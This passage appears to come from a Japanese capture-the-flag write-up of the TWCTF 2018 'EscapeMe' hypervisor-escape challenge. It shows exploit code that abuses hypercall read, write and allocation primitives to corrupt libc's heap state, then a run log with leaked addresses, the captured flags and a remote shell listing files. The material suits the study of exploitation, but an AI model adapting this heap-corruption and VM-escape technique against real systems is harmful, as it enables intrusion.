*main_arena; uint64_t *free_hook; hc_read(&main_arena, 0x8, 0); hc_read(&free_hook, 0x8, 0); main_arena = libc + (uint64_t)main_arena; free_hook = libc + (uint64_t)free_hook; uint64_t offset_top; hc_read(&offset_top, 0x8, 0); hc_write(main_arena + offset_top, 0x18, 0); hc_read(free_hook, 0x8, 0); hc_read(&pd[16], 0x8, 0); uint64_t page_offset; hc_read(&page_offset, 0x8, 0); void *p[2]; p[0] = hc_malloc(0, 0x1000); p[1] = hc_malloc(0, 0x1000); hc_free(p[0]); hc_read(heap+page_offset, 0x8, 0); hc_free(p[1]); }
実行してみます.
~/CTF/TWCTF/2018/EscapeMe$ make exploit Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/TWCTF/2018/EscapeMe/release/kvm.elf' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yutaro/CTF/TWCTF/2018/EscapeMe/release/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Environment : set environment "new" [*] '/home/yutaro/CTF/TWCTF/2018/EscapeMe/release/memo-static.elf' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to localhost on port 16359: Done [*] hashcash -mb25 kpbdjrsj [+] hash : 1:25:180904:kpbdjrsj::aIZl62OtjCuUpGLs:0000000001LGG [+] flag1 : TWCTF{fr33ly_3x3cu73_4ny_5y573m_c4ll} [+] flag2 : TWCTF{ABI_1nc0n51573ncy_l34d5_70_5y573m_d357ruc710n} [*] addr_heap_top = 0x008d8ef0 [*] addr_libc_base = 0x7ff75baff000 [*] addr_vmmem = 0x7ff75b6ff000 [*] Switching to interactive mode $ ls -al total 104 drwxr-x--- 2 root escape 4096 Sep 2 16:50 . drwxr-xr-x 9 root root 4096 Sep 1 08:00 .. -rw-r----- 1 root escape 220 Apr 4 18:30 .bash_logout -rw-r----- 1 root escape 3771 Apr 4 18:30 .bashrc -rw-r----- 1 root escape 807 Apr 4 18:30 .profile -rw-r----- 1 root escape 75 Sep 1 04:37 flag2.txt -rw-r----- 1 root escape 67 Sep 1 04:37 flag3-415254a0b8be92e0a976f329ad3331aa6bbea816.txt -rw-r----- 1 root escape 8514 Sep 1 04:37 hashcash.pyc -rw-r----- 1 root escape 8552 Sep 1 04:37 kernel.bin -rwxr-x--- 1 root escape 23752 Sep 1 04:37 kvm.elf -rwxr-x--- 1 root escape 19712 Sep 1 04:37 memo-static.elf -rwxr-x--- 1 root escape 1693 Sep 1 04:37 pow.py -rwxr-x--- 1 root escape 48 Sep 2 16:50 run.sh $ cat flag3* Here is final flag : TWCTF{Or1g1n4l_Hyp3rc4ll_15_4_h07b3d_0f_bug5}